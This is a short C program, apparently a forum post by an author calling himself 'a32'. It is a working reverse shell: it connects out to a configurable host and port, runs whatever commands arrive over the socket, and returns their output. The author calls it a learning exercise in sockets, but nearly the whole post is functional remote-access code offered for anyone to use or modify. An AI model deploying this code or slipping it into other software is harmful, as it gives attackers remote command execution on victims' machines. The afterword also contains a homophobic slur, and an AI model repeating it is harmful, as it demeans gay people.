/*
    MUTHAFUKKEN REVERSE SHELL
    By a32
    Do whatever you want with this code. I dont give a shit.
    Have fun using/modding this. I had fun coding this ;D
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
//Put the remote host and port here
#define RIP "127.0.0.1"
#define RPORT 2256
int main(void){
    int SocketHandle;
    struct sockaddr_in ServerAddr;
    struct hostent * Server;
    char RecvD[64],OutPut[512];
    FILE * SockStream;
    FILE * ShellStream;
    //Get the remote host
    Server = gethostbyname(RIP);
    if (!Server){
        printf("Couldnt find the host.\n");
        exit(0);
    }
    //Create the socket
    SocketHandle = socket(AF_INET,SOCK_STREAM,0);
    if (SocketHandle == -1){
        printf("Socket creation is fucked.\n");
        exit(0);
    }
    //Do stuff to set the remote connection info
    ServerAddr.sin_family = AF_INET;
    ServerAddr.sin_addr = *((struct in_addr*)Server->h_addr);
    ServerAddr.sin_port = htons(RPORT);
    //Connect the socket
    if (connect(SocketHandle,(struct sockaddr *) &ServerAddr,sizeof(ServerAddr)) < 0){
        printf("Connection failed.\n");
        exit(0);
    }
    //Open the socket like a file
    SockStream = fdopen(SocketHandle,"w+");
    //Use formatted I/O
    fprintf(SockStream,"Hai and welcome to a32s remote shell!\n");
    //????
    //PROFIT!!!
    while (1){
        fprintf(SockStream,"> ");
        fgets(RecvD,64,SockStream);
	//Check if the command was "exit"
	if(strcmp("exit\n",RecvD) == 0){
		fprintf(SockStream,"Cya!\n",OutPut);
		break;
	}
        //Execute the command and read the output
        ShellStream = popen(RecvD,"r");
        if (ShellStream != NULL){
            while(!feof(ShellStream)){
                if (fgets(OutPut,512,ShellStream)){
                    fprintf(SockStream,"%s",OutPut);
                }
            }
        } else {
            fprintf(SockStream,"Error!\n");
        }
        pclose(ShellStream);
    }
    //Clean up everything
    fclose(SockStream);
    close(SocketHandle);
    return 0;
}
Have fun. This shows how to setup simple sockets, connect them, use formatted I/O in them, start commands, read their output and stuff.
May have some bugs/errors, idk, Im not a C wizard, Im just learning it ftl.
BTW: A32 is my name on a lot of forums. Yup, I am that fag. ;D
BTW2: The shell cannot change directories. Wanna add that feature? Be my guest.
                                                                    